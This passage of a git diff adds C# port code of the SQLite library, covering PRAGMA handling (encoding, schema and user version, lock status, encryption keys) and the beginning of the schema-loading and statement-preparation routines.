endCode ), endCode ); + sqlite3VdbeChangeP2( v, addr, -mxErr ); + sqlite3VdbeJumpHere( v, addr + 1 ); + sqlite3VdbeChangeP4( v, addr + 2, "ok", P4_STATIC ); + } + else +#endif // * SQLITE_OMIT_INTEGRITY_CHECK */ + + /* +** PRAGMA encoding +** PRAGMA encoding = "utf-8"|"utf-16"|"utf-16le"|"utf-16be" +** +** In its first form, this pragma returns the encoding of the main +** database. If the database is not initialized, it is initialized now. +** +** The second form of this pragma is a no-op if the main database file +** has not already been initialized. In this case it sets the default +** encoding that will be used for the main database file if a new file +** is created. If an existing main database file is opened, then the +** default text encoding for the existing database is used. +** +** In all cases new databases created using the ATTACH command are +** created to use the same default text encoding as the main database. If +** the main database has not been initialized and/or created when ATTACH +** is executed, this is done before the ATTACH operation. +** +** In the second form this pragma sets the text encoding to be used in +** new database files created using this database handle. It is only +** useful if invoked immediately after the main database i +*/ + if ( sqlite3StrICmp( zLeft, "encoding" ) == 0 ) + { + EncName[] encnames = new EncName[] { +new EncName( "UTF8", SQLITE_UTF8 ), +new EncName( "UTF-8", SQLITE_UTF8 ),/* Must be element [1] */ +new EncName( "UTF-16le", SQLITE_UTF16LE ),/* Must be element [2] */ +new EncName( "UTF-16be", SQLITE_UTF16BE ), /* Must be element [3] */ +new EncName( "UTF16le", SQLITE_UTF16LE ), +new EncName( "UTF16be", SQLITE_UTF16BE ), +new EncName( "UTF-16", 0 ), /* SQLITE_UTF16NATIVE */ +new EncName( "UTF16", 0 ), /* SQLITE_UTF16NATIVE */ +new EncName( null, 0 ) +}; + int iEnc; + if ( null == zRight ) + { /* "PRAGMA encoding" */ + if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out; + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "encoding", SQLITE_STATIC ); + sqlite3VdbeAddOp2( v, OP_String8, 0, 1 ); + Debug.Assert( encnames[SQLITE_UTF8].enc == SQLITE_UTF8 ); + Debug.Assert( encnames[SQLITE_UTF16LE].enc == SQLITE_UTF16LE ); + Debug.Assert( encnames[SQLITE_UTF16BE].enc == SQLITE_UTF16BE ); + sqlite3VdbeChangeP4( v, -1, encnames[ENC( pParse.db )].zName, P4_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } +#if !SQLITE_OMIT_UTF16 +else +{ /* "PRAGMA encoding = XXX" */ +/* Only change the value of sqlite.enc if the database handle is not +** initialized. If the main database exists, the new sqlite.enc value +** will be overwritten when the schema is next loaded. If it does not +** already exists, it will be created to use the new encoding value. +*/ +if ( +//!(DbHasProperty(db, 0, DB_SchemaLoaded)) || +//DbHasProperty(db, 0, DB_Empty) +( db.flags & DB_SchemaLoaded ) != DB_SchemaLoaded || ( db.flags & DB_Empty ) == DB_Empty +) +{ +for ( iEnc = 0 ; encnames[iEnc].zName != null ; iEnc++ ) +{ +if ( 0 == sqlite3StrICmp( zRight, encnames[iEnc].zName ) ) +{ +pParse.db.aDbStatic[0].pSchema.enc = encnames[iEnc].enc != 0 ? encnames[iEnc].enc : SQLITE_UTF16NATIVE; +break; +} +} +if ( encnames[iEnc].zName == null ) +{ +sqlite3ErrorMsg( pParse, "unsupported encoding: %s", zRight ); +} +} +} +#endif + } + else + +#if !SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS + /* +** PRAGMA [database.]schema_version +** PRAGMA [database.]schema_version = +** +** PRAGMA [database.]user_version +** PRAGMA [database.]user_version = +** +** The pragma's schema_version and user_version are used to set or get +** the value of the schema-version and user-version, respectively. Both +** the schema-version and the user-version are 32-bit signed integers +** stored in the database header. +** +** The schema-cookie is usually only manipulated internally by SQLite. It +** is incremented by SQLite whenever the database schema is modified (by +** creating or dropping a table or index). The schema version is used by +** SQLite each time a query is executed to ensure that the internal cache +** of the schema used when compiling the SQL query matches the schema of +** the database against which the compiled query is actually executed. +** Subverting this mechanism by using "PRAGMA schema_version" to modify +** the schema-version is potentially dangerous and may lead to program +** crashes or database corruption. Use with caution! +** +** The user-version is not used internally by SQLite. It may be used by +** applications for any purpose. +*/ + if ( sqlite3StrICmp( zLeft, "schema_version" ) == 0 + || sqlite3StrICmp( zLeft, "user_version" ) == 0 + || sqlite3StrICmp( zLeft, "freelist_count" ) == 0 + ) + { + int iCookie; /* Cookie index. 1 for schema-cookie, 6 for user-cookie. */ + sqlite3VdbeUsesBtree( v, iDb ); + switch ( zLeft[0] ) + { + case 'f': + case 'F': + iCookie = BTREE_FREE_PAGE_COUNT; + break; + case 's': + case 'S': + iCookie = BTREE_SCHEMA_VERSION; + break; + default: + iCookie = BTREE_USER_VERSION; + break; + } + + if ( zRight != null && iCookie != BTREE_FREE_PAGE_COUNT ) + { + /* Write the specified cookie value */ + VdbeOpList[] setCookie = new VdbeOpList[] { +new VdbeOpList( OP_Transaction, 0, 1, 0), /* 0 */ +new VdbeOpList( OP_Integer, 0, 1, 0), /* 1 */ +new VdbeOpList( OP_SetCookie, 0, 0, 1), /* 2 */ +}; + int addr = sqlite3VdbeAddOpList( v, ArraySize( setCookie ), setCookie ); + sqlite3VdbeChangeP1( v, addr, iDb ); + sqlite3VdbeChangeP1( v, addr + 1, atoi( zRight ) ); + sqlite3VdbeChangeP1( v, addr + 2, iDb ); + sqlite3VdbeChangeP2( v, addr + 2, iCookie ); + } + else + { + /* Read the specified cookie value */ + VdbeOpList[] readCookie = new VdbeOpList[] { +new VdbeOpList( OP_Transaction, 0, 0, 0), /* 0 */ +new VdbeOpList( OP_ReadCookie, 0, 1, 0), /* 1 */ +new VdbeOpList( OP_ResultRow, 1, 1, 0) +}; + int addr = sqlite3VdbeAddOpList( v, readCookie.Length, readCookie );// ArraySize(readCookie), readCookie); + sqlite3VdbeChangeP1( v, addr, iDb ); + sqlite3VdbeChangeP1( v, addr + 1, iDb ); + sqlite3VdbeChangeP3( v, addr + 1, iCookie ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLeft, SQLITE_TRANSIENT ); + } + } + else if ( sqlite3StrICmp( zLeft, "reload_schema" ) == 0 ) + { + /* force schema reloading*/ + sqlite3ResetInternalSchema( db, 0 ); + } + else if ( sqlite3StrICmp( zLeft, "file_format" ) == 0 ) + { + pDb.pSchema.file_format = (u8)atoi( zRight ); + sqlite3ResetInternalSchema( db, 0 ); + } + + else +#endif // * SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS */ + +#if SQLITE_DEBUG || SQLITE_TEST + /* +** Report the current state of file logs for all databases +*/ + if ( sqlite3StrICmp( zLeft, "lock_status" ) == 0 ) + { + string[] azLockName = { +"unlocked", "shared", "reserved", "pending", "exclusive" +}; + int i; + sqlite3VdbeSetNumCols( v, 2 ); + pParse.nMem = 2; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "database", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "status", SQLITE_STATIC ); + for ( i = 0 ; i < db.nDb ; i++ ) + { + Btree pBt; + Pager pPager; + string zState = "unknown"; + int j = 0; + if ( db.aDb[i].zName == null ) continue; + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, db.aDb[i].zName, P4_STATIC ); + pBt = db.aDb[i].pBt; + if ( pBt == null || ( pPager = sqlite3BtreePager( pBt ) ) == null ) + { + zState = "closed"; + } + else if ( sqlite3_file_control( db, i != 0 ? db.aDb[i].zName : null, + SQLITE_FCNTL_LOCKSTATE, ref j ) == SQLITE_OK ) + { + zState = azLockName[j]; + } + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, zState, P4_STATIC ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 ); + } + } + else +#endif + +#if SQLITE_HAS_CODEC +if( sqlite3StrICmp(zLeft, "key")==0 && zRight ){ +sqlite3_key(db, zRight, sqlite3Strlen30(zRight)); +}else +if( sqlite3StrICmp(zLeft, "rekey")==0 && zRight ){ +sqlite3_rekey(db, zRight, sqlite3Strlen30(zRight)); +}else +if( zRight && (sqlite3StrICmp(zLeft, "hexkey")==0 || +sqlite3StrICmp(zLeft, "hexrekey")==0) ){ +int i, h1, h2; +char zKey[40]; +for(i=0; (h1 = zRight[i])!=0 && (h2 = zRight[i+1])!=0; i+=2){ +h1 += 9*(1&(h1>>6)); +h2 += 9*(1&(h2>>6)); +zKey[i/2] = (h2 & 0x0f) | ((h1 & 0xf)<<4); +} +if( (zLeft[3] & 0xf)==0xb ){ +sqlite3_key(db, zKey, i/2); +}else{ +sqlite3_rekey(db, zKey, i/2); +} +}else +#endif +#if SQLITE_HAS_CODEC || SQLITE_ENABLE_CEROD +if( sqlite3StrICmp(zLeft, "activate_extensions")==0 ){ +#if SQLITE_HAS_CODEC +if( sqlite3StrNICmp(zRight, "see-", 4)==0 ){ +extern void sqlite3_activate_see(const char*); +sqlite3_activate_see(&zRight[4]); +} +#endif +#if SQLITE_ENABLE_CEROD +if( sqlite3StrNICmp(zRight, "cerod-", 6)==0 ){ +extern void sqlite3_activate_cerod(const char*); +sqlite3_activate_cerod(&zRight[6]); +} +#endif +}else +#endif + { /* Empty ELSE clause */} + + /* Code an OP_Expire at the end of each PRAGMA program to cause + ** the VDBE implementing the pragma to expire. Most (all?) pragmas + ** are only valid for a single execution. + */ + sqlite3VdbeAddOp2( v, OP_Expire, 1, 0 ); + + /* + ** Reset the safety level, in case the fullfsync flag or synchronous + ** setting changed. + */ +#if !SQLITE_OMIT_PAGER_PRAGMAS + if ( db.autoCommit != 0 ) + { + sqlite3BtreeSetSafetyLevel( pDb.pBt, pDb.safety_level, + ( ( db.flags & SQLITE_FullFSync ) != 0 ) ? 1 : 0 ); + } +#endif + pragma_out: + //sqlite3DbFree( db, ref zLeft ); + //sqlite3DbFree( db, ref zRight ); + ; + } + +#endif // * SQLITE_OMIT_PRAGMA + } +} diff --git a/SQLite/src/prepare_c.cs b/SQLite/src/prepare_c.cs new file mode 100644 index 0000000..92f412b --- /dev/null +++ b/SQLite/src/prepare_c.cs @@ -0,0 +1,1021 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using sqlite3_int64 = System.Int64; + +namespace CS_SQLite3 +{ + using sqlite3_stmt = CSSQLite.Vdbe; + + public partial class CSSQLite + { + /* + ** 2005 May 25 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the implementation of the sqlite3_prepare() + ** interface, and routines that contribute to loading the database schema + ** from disk. + ** + ** $Id: prepare.c,v 1.131 2009/08/06 17:43:31 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Fill the InitData structure with an error message that indicates + ** that the database is corrupt. + */ + static void corruptSchema( + InitData pData, /* Initialization context */ + string zObj, /* Object being parsed at the point of error */ + string zExtra /* Error information */ + ) + { + sqlite3 db = pData.db; + if ( /* 0 == db.mallocFailed && */ ( db.flags & SQLITE_RecoveryMode ) == 0 ) + { + { + if ( zObj == null ) zObj = "?"; + sqlite3SetString( ref pData.pzErrMsg, db, + "malformed database schema (%s)", zObj ); + if ( !String.IsNullOrEmpty( zExtra ) ) + { + pData.pzErrMsg = sqlite3MAppendf( db, pData.pzErrMsg + , "%s - %s", pData.pzErrMsg, zExtra ); + } + } + pData.rc = //db.mallocFailed != 0 ? SQLITE_NOMEM : +#if SQLITE_DEBUG + SQLITE_CORRUPT_BKPT(); +#else +SQLITE_CORRUPT; +#endif + } + } + + /* + ** This is the callback routine for the code that initializes the + ** database. See sqlite3Init() below for additional information. + ** This routine is also called from the OP_ParseSchema opcode of the VDBE. + ** + ** Each callback contains the following information: + ** + ** argv[0] = name of thing being created + ** argv[1] = root page number for table or index. 0 for trigger or view. + ** argv[2] = SQL text for the CREATE statement. + ** + */ + static int sqlite3InitCallback( object pInit, sqlite3_int64 argc, object p2, object NotUsed ) + { + string[] argv = (string[])p2; + InitData pData = (InitData)pInit; + sqlite3 db = pData.db; + int iDb = pData.iDb; + + Debug.Assert( argc == 3 ); + UNUSED_PARAMETER2( NotUsed, argc ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + DbClearProperty( db, iDb, DB_Empty ); + //if ( db.mallocFailed != 0 ) + //{ + // corruptSchema( pData, argv[0], "" ); + // return 1; + //} + + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + if ( argv == null ) return 0; /* Might happen if EMPTY_RESULT_CALLBACKS are on */ + if ( argv[1] == null ) + { + corruptSchema( pData, argv[0], "" ); + } + else if ( argv[2] != null && argv[2].Length != 0 ) + { + /* Call the parser to process a CREATE TABLE, INDEX or VIEW. + ** But because db.init.busy is set to 1, no VDBE code is generated + ** or executed. All the parser does is build the internal data + ** structures that describe the table, index, or view. + */ + string zErr = ""; + int rc; + Debug.Assert( db.init.busy != 0 ); + db.init.iDb = iDb; + db.init.newTnum = atoi( argv[1] ); + db.init.orphanTrigger = 0; + rc = sqlite3_exec( db, argv[2], null, null, ref zErr ); + db.init.iDb = 0; + Debug.Assert( rc != SQLITE_OK || zErr == "" ); + if ( SQLITE_OK != rc ) + { + if ( db.init.orphanTrigger!=0 ) + { + Debug.Assert( iDb == 1 ); + } + else + { + pData.rc = rc; + if ( rc == SQLITE_NOMEM ) + { + // db.mallocFailed = 1; + } + else if ( rc != SQLITE_INTERRUPT && rc != SQLITE_LOCKED ) + { + corruptSchema( pData, argv[0], zErr ); + } + } //sqlite3DbFree( db, ref zErr ); + } + } + else if ( argv[0] == null || argv[0] == "" ) + { + corruptSchema( pData, null, null ); + } + else + { + /* If the SQL column is blank it means this is an index that + ** was created to be the PRIMARY KEY or to fulfill a UNIQUE + ** constraint for a CREATE TABLE. The index should have already + ** been created when we processed the CREATE TABLE. All we have + ** to do here is record the root page number for that index. + */ + Index pIndex; + pIndex = sqlite3FindIndex( db, argv[0], db.aDb[iDb].zName ); + if ( pIndex == null ) + { + /* This can occur if there exists an index on a TEMP table which + ** has the same name as another index on a permanent index. Since + ** the permanent table is hidden by the TEMP table, we can also + ** safely ignore the index on the permanent table. + */ + /* Do Nothing */ + ; + } + else if ( sqlite3GetInt32( argv[1], ref pIndex.tnum ) == false ) + { + corruptSchema( pData, argv[0], "invalid rootpage" ); + } + } + return 0; + } + + /* + ** Attempt to read the database schema and initialize internal + ** data structures for a single database file. The index of the + ** database file is given by iDb. iDb==0 is used for the main + ** database. iDb==1 should never be used. iDb>=2 is used for + ** auxiliary databases. Return one of the SQLITE_ error codes to + ** indicate success or failure. + */ + static int sqlite3InitOne( sqlite3 db, int iDb, ref string pzErrMsg ) + { + int rc; + int i; + int size; + Table pTab; + Db pDb; + string[] azArg = new string[4]; + u32[] meta = new u32[5]; + InitData initData = new InitData(); + string zMasterSchema; + string zMasterName = SCHEMA_TABLE( iDb ); + int openedTransaction = 0; + + /* + ** The master database table has a structure like this + */ + string master_schema = + "CREATE TABLE sqlite_master(\n" + + " type text,\n" + + " name text,\n" + + " tbl_name text,\n" + + " rootpage integer,\n" + + " sql text\n" + + ")" + ; +#if !SQLITE_OMIT_TEMPDB + string temp_master_schema = + "CREATE TEMP TABLE sqlite_temp_master(\n" + + " type text,\n" + + " name text,\n" + + " tbl_name text,\n" + + " rootpage integer,\n" + + " sql text\n" + + ")" + ; +#else +//#define temp_master_schema 0 +#endif + + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + Debug.Assert( db.aDb[iDb].pSchema != null ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + Debug.Assert( iDb == 1 || sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) ); + + /* zMasterSchema and zInitScript are set to point at the master schema + ** and initialisation script appropriate for the database being + ** initialised. zMasterName is the name of the master table. + */ + if ( OMIT_TEMPDB == 0 && iDb == 1 ) + { + zMasterSchema = temp_master_schema; + } + else + { + zMasterSchema = master_schema; + } + zMasterName = SCHEMA_TABLE( iDb ); + + /* Construct the schema tables. */ + azArg[0] = zMasterName; + azArg[1] = "1"; + azArg[2] = zMasterSchema; + azArg[3] = ""; + initData.db = db; + initData.iDb = iDb; + initData.rc = SQLITE_OK; + initData.pzErrMsg = pzErrMsg; + sqlite3SafetyOff( db ); + sqlite3InitCallback( initData, 3, azArg, null ); + sqlite3SafetyOn( db ); + if ( initData.rc != 0 ) + { + rc = initData.rc; + goto error_out; + } + pTab = sqlite3FindTable( db, zMasterName, db.aDb[iDb].zName ); + if ( ALWAYS( pTab ) ) + { + pTab.tabFlags |= TF_Readonly; + } + + /* Create a cursor to hold the database open + */ + pDb = db.aDb[iDb]; + if ( pDb.pBt == null ) + { + if ( OMIT_TEMPDB == 0 && ALWAYS( iDb == 1 ) ) + { + DbSetProperty( db, 1, DB_SchemaLoaded ); + } + return SQLITE_OK; + } + + /* If there is not already a read-only (or read-write) transaction opened + ** on the b-tree database, open one now. If a transaction is opened, it + ** will be closed before this function returns. */ + sqlite3BtreeEnter( pDb.pBt ); + if ( !sqlite3BtreeIsInReadTrans( pDb.pBt ) ) + { + rc = sqlite3BtreeBeginTrans( pDb.pBt, 0 ); + if ( rc != SQLITE_OK ) + { + sqlite3SetString( ref pzErrMsg, db, "%s", sqlite3ErrStr( rc ) ); + goto initone_error_out; + } + openedTransaction = 1; + } + + /* Get the database meta information. + ** + ** Meta values are as follows: + ** meta[0] Schema cookie. Changes with each schema change. + ** meta[1] File format of schema layer. + ** meta[2] Size of the page cache. + ** meta[3] Largest rootpage (auto/incr_vacuum mode) + ** meta[4] Db text encoding. 1:UTF-8 2:UTF-16LE 3:UTF-16BE + ** meta[5] User version + ** meta[6] Incremental vacuum mode + ** meta[7] unused + ** meta[8] unused + ** meta[9] unused + ** + ** Note: The #defined SQLITE_UTF* symbols in sqliteInt.h correspond to + ** the possible values of meta[BTREE_TEXT_ENCODING-1]. + */ + for ( i = 0 ; i < ArraySize( meta ) ; i++ ) + { + sqlite3BtreeGetMeta( pDb.pBt, i + 1, ref meta[i] ); + } + pDb.pSchema.schema_cookie = (int)meta[BTREE_SCHEMA_VERSION - 1]; + + /* If opening a non-empty database, check the text encoding. For the + ** main database, set sqlite3.enc to the encoding of the main database. + ** For an attached db, it is an error if the encoding is not the same + ** as sqlite3.enc. + */ + if ( meta[BTREE_TEXT_ENCODING - 1] != 0 ) + { /* text encoding */ + if ( iDb == 0 ) + { + u8 encoding; + /* If opening the main database, set ENC(db). */ + encoding = (u8)( meta[BTREE_TEXT_ENCODING - 1] & 3 ); + if ( encoding == 0 ) encoding = SQLITE_UTF8; + db.aDb[0].pSchema.enc = encoding; //ENC( db ) = encoding; + db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "BINARY", 0 ); + } + else + { + /* If opening an attached database, the encoding much match ENC(db) */ + if ( meta[BTREE_TEXT_ENCODING - 1] != ENC( db ) ) + { + sqlite3SetString( ref pzErrMsg, db, "attached databases must use the same" + + " text encoding as main database" ); + rc = SQLITE_ERROR; + goto initone_error_out; + } + } + } + else + { + DbSetProperty( db, iDb, DB_Empty ); + } + pDb.pSchema.enc = ENC( db ); + + if ( pDb.pSchema.cache_size == 0 ) + { + size = (int)meta[BTREE_DEFAULT_CACHE_SIZE - 1]; + if ( size == 0 ) { size = SQLITE_DEFAULT_CACHE_SIZE; } + if ( size < 0 ) size = -size; + pDb.pSchema.cache_size = size; + sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); + } + + /* + ** file_format==1 Version 3.0.0. + ** file_format==2 Version 3.1.3. // ALTER TABLE ADD COLUMN + ** file_format==3 Version 3.1.4. // ditto but with non-NULL defaults + ** file_format==4 Version 3.3.0. // DESC indices. Boolean constants + */ + pDb.pSchema.file_format = (u8)meta[BTREE_FILE_FORMAT - 1]; + if ( pDb.pSchema.file_format == 0 ) + { + pDb.pSchema.file_format = 1; + } + if ( pDb.pSchema.file_format > SQLITE_MAX_FILE_FORMAT ) + { + sqlite3SetString( ref pzErrMsg, db, "unsupported file format" ); + rc = SQLITE_ERROR; + goto initone_error_out; + } + + /* Ticket #2804: When we open a database in the newer file format, + ** clear the legacy_file_format pragma flag so that a VACUUM will + ** not downgrade the database and thus invalidate any descending + ** indices that the user might have created. + */ + if ( iDb == 0 && meta[BTREE_FILE_FORMAT - 1] >= 4 ) + { + db.flags &= ~SQLITE_LegacyFileFmt; + } + + /* Read the schema information out of the schema tables + */ + Debug.Assert( db.init.busy != 0 ); + { + string zSql; + zSql = sqlite3MPrintf( db, + "SELECT name, rootpage, sql FROM '%q'.%s", + db.aDb[iDb].zName, zMasterName ); + sqlite3SafetyOff( db ); +#if ! SQLITE_OMIT_AUTHORIZATION +{ +int (*xAuth)(void*,int,const char*,const char*,const char*,const char*); +xAuth = db.xAuth; +db.xAuth = 0; +#endif + rc = sqlite3_exec( db, zSql, (dxCallback)sqlite3InitCallback, initData, 0 ); + pzErrMsg = initData.pzErrMsg; +#if ! SQLITE_OMIT_AUTHORIZATION +db.xAuth = xAuth; +} +#endif + if ( rc == SQLITE_OK ) rc = initData.rc; + sqlite3SafetyOn( db ); + //sqlite3DbFree( db, ref zSql ); +#if !SQLITE_OMIT_ANALYZE + if ( rc == SQLITE_OK ) + { + sqlite3AnalysisLoad( db, iDb ); + } +#endif + } + //if ( db.mallocFailed != 0 ) + //{ + // rc = SQLITE_NOMEM; + // sqlite3ResetInternalSchema( db, 0 ); + //} + if ( rc == SQLITE_OK || ( db.flags & SQLITE_RecoveryMode ) != 0 ) + { + /* Black magic: If the SQLITE_RecoveryMode flag is set, then consider + ** the schema loaded, even if errors occurred. In this situation the + ** current sqlite3_prepare() operation will fail, but the following one + ** will attempt to compile the supplied statement against whatever subset + ** of the schema was loaded before the error occurred. The primary + ** purpose of this is to allow access to the sqlite_master table + ** even when its contents have been corrupted. + */ + DbSetProperty( db, iDb, DB_SchemaLoaded ); + rc = SQLITE_OK; + } +/* Jump here for an error that occurs after successfully allocating +** curMain and calling sqlite3BtreeEnter(). For an error that occurs +** before that point, jump to error_out. +*/ +initone_error_out: + if ( openedTransaction != 0 ) + { + sqlite3BtreeCommit( pDb.pBt ); + } + sqlite3BtreeLeave( pDb.pBt ); + +error_out: + if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) + { +// db.mallocFailed = 1; + } + return rc; + } + + /* + ** Initialize all database files - the main database file, the file + ** used to store temporary tables, and any additional database files + ** created using ATTACH statements. Return a success code. If an + ** error occurs, write an error message into pzErrMsg. + ** + ** After a database is initialized, the DB_SchemaLoaded bit is set + ** bit is set in the flags field of the Db structure. If the database + ** file was of zero-length, then the DB_Empty flag is also set. + */ + static int sqlite3Init( sqlite3 db, ref string pzErrMsg ) + { + int i, rc; + bool commit_internal = !( ( db.flags & SQLITE_InternChanges ) != 0 ); + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + rc = SQLITE_OK; + db.init.busy = 1; + for ( i = 0 ; rc == SQLITE_OK && i < db.nDb ; i++ ) + { + if ( DbHasProperty( db, i, DB_SchemaLoaded ) || i == 1 ) continue; + rc = sqlite3InitOne( db, i, ref pzErrMsg ); + if ( rc != 0 ) + { + sqlite3ResetInternalSchema( db, i ); + } + } + + /* Once all the other databases have been initialised, load the schema + ** for the TEMP database. This is loaded last, as the TEMP database + ** schema may contain references to objects in other databases. + */ +#if !SQLITE_OMIT_TEMPDB + if ( rc == SQLITE_OK && ALWAYS( db.nDb > 1 ) + && !DbHasProperty( db, 1, DB_SchemaLoaded ) ) + { + rc = sqlite3InitOne( db, 1, ref pzErrMsg ); + if ( rc != 0 ) + { + sqlite3ResetInternalSchema( db, 1 ); + } + } +#endif + + db.init.busy = 0; + if ( rc == SQLITE_OK && commit_internal ) + { + sqlite3CommitInternalChanges( db ); + } + + return rc; + } + + /* + ** This routine is a no-op if the database schema is already initialised. + ** Otherwise, the schema is loaded. An error code is returned. + */ + static int sqlite3ReadSchema( Parse pParse ) + { + int rc = SQLITE_OK; + sqlite3 db = pParse.db; + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + if ( 0 == db.init.busy ) + { + rc = sqlite3Init( db, ref pParse.zErrMsg ); + } + if ( rc != SQLITE_OK ) + { + pParse.rc = rc; + pParse.nErr++; + } + return rc; + } + + + /* + ** Check schema cookies in all databases. If any cookie is out + ** of date set pParse->rc to SQLITE_SCHEMA. If all schema cookies + ** make no changes to pParse->rc. + */ + static void schemaIsValid( Parse pParse ) + { + sqlite3 db = pParse.db; + int iDb; + int rc; + u32 cookie = 0; + + Debug.Assert( pParse.checkSchema!=0 ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + for ( iDb = 0 ; iDb < db.nDb ; iDb++ ) + { + int openedTransaction = 0; /* True if a transaction is opened */ + Btree pBt = db.aDb[iDb].pBt; /* Btree database to read cookie from */ + if ( pBt == null ) continue; + + /* If there is not already a read-only (or read-write) transaction opened + ** on the b-tree database, open one now. If a transaction is opened, it + ** will be closed immediately after reading the meta-value. */ + if ( !sqlite3BtreeIsInReadTrans( pBt ) ) + { + rc = sqlite3BtreeBeginTrans( pBt, 0 ); + //if ( rc == SQLITE_NOMEM || rc == SQLITE_IOERR_NOMEM ) + //{ + // db.mallocFailed = 1; + //} + if ( rc != SQLITE_OK ) return; + openedTransaction = 1; + } + + /* Read the schema cookie from the database. If it does not match the + ** value stored as part of the in the in-memory schema representation, + ** set Parse.rc to SQLITE_SCHEMA. */ + sqlite3BtreeGetMeta( pBt, BTREE_SCHEMA_VERSION, ref cookie ); + if ( cookie != db.aDb[iDb].pSchema.schema_cookie ) + { + pParse.rc = SQLITE_SCHEMA; + } + + /* Close the transaction, if one was opened. */ + if ( openedTransaction!=0 ) + { + sqlite3BtreeCommit( pBt ); + } + } + } + + /* + ** Convert a schema pointer into the iDb index that indicates + ** which database file in db.aDb[] the schema refers to. + ** + ** If the same database is attached more than once, the first + ** attached database is returned. + */ + static int sqlite3SchemaToIndex( sqlite3 db, Schema pSchema ) + { + int i = -1000000; + + /* If pSchema is NULL, then return -1000000. This happens when code in + ** expr.c is trying to resolve a reference to a transient table (i.e. one + ** created by a sub-select). In this case the return value of this + ** function should never be used. + ** + ** We return -1000000 instead of the more usual -1 simply because using + ** -1000000 as the incorrect index into db->aDb[] is much + ** more likely to cause a segfault than -1 (of course there are assert() + ** statements too, but it never hurts to play the odds). + */ + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + if ( pSchema != null ) + { + for ( i = 0 ; ALWAYS( i < db.nDb ) ; i++ ) + { + if ( db.aDb[i].pSchema == pSchema ) + { + break; + } + } + Debug.Assert( i >= 0 && i < db.nDb ); + } + return i; + } + + /* + ** Compile the UTF-8 encoded SQL statement zSql into a statement handle. + */ + static int sqlite3Prepare( + sqlite3 db, /* Database handle. */ + string zSql, /* UTF-8 encoded SQL statement. */ + int nBytes, /* Length of zSql in bytes. */ + int saveSqlFlag, /* True to copy SQL text into the sqlite3_stmt */ + ref sqlite3_stmt ppStmt, /* OUT: A pointer to the prepared statement */ + ref string pzTail /* OUT: End of parsed string */ + ) + { + Parse pParse; /* Parsing context */ + string zErrMsg = ""; /* Error message */ + int rc = SQLITE_OK; /* Result code */ + int i; /* Loop counter */ + + /* Allocate the parsing context */ + pParse = new Parse();//sqlite3StackAllocZero(db, sizeof(*pParse)); + if ( pParse == null ) + { + rc = SQLITE_NOMEM; + goto end_prepare; + } + pParse.sLastToken.z = ""; + if ( sqlite3SafetyOn( db ) ) + { + rc = SQLITE_MISUSE; + goto end_prepare; + } + Debug.Assert( ppStmt == null );// assert( ppStmt && *ppStmt==0 ); + //Debug.Assert( 0 == db.mallocFailed ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + + /* Check to verify that it is possible to get a read lock on all + ** database schemas. The inability to get a read lock indicates that + ** some other database connection is holding a write-lock, which in + ** turn means that the other connection has made uncommitted changes + ** to the schema. + ** + ** Were we to proceed and prepare the statement against the uncommitted + ** schema changes and if those schema changes are subsequently rolled + ** back and different changes are made in their place, then when this + ** prepared statement goes to run the schema cookie would fail to detect + ** the schema change. Disaster would follow. + ** + ** This thread is currently holding mutexes on all Btrees (because + ** of the sqlite3BtreeEnterAll() in sqlite3LockAndPrepare()) so it + ** is not possible for another thread to start a new schema change + ** while this routine is running. Hence, we do not need to hold + ** locks on the schema, we just need to make sure nobody else is + ** holding them. + ** + ** Note that setting READ_UNCOMMITTED overrides most lock detection, + ** but it does *not* override schema lock detection, so this all still + ** works even if READ_UNCOMMITTED is set. + */ + for ( i = 0 ; i < db.nDb ; i++ ) + { + Btree pBt = db.aDb[i].pBt; + if ( pBt != null ) + { + Debug.Assert( sqlite3BtreeHoldsMutex( pBt ) ); + rc = sqlite3BtreeSchemaLocked( pBt ); + if ( rc != 0 ) + { + string zDb = db.aDb[i].zName; + sqlite3Error( db, rc, "database schema is locked: %s", zDb ); + sqlite3SafetyOff( db ); + testcase( db.flags & SQLITE_ReadUncommitted ); + goto end_prepare; + } + } + } + + sqlite3VtabUnlockList( db ); + + pParse.db = db; + if ( nBytes >= 0 && ( nBytes == 0 || zSql[nBytes - 1] != 0 ) ) + { + string zSqlCopy; + int mxLen = db.aLimit[SQLITE_LIMIT_SQL_LENGTH]; + testcase( nBytes == mxLen ); + testcase( nBytes == mxLen + 1 ); + if ( nBytes > mxLen ) + { + sqlite3Error( db, SQLITE_TOOBIG, "statement too long" ); + sqlite3SafetyOff( db ); + rc = sqlite3ApiExit( db, SQLITE_TOOBIG 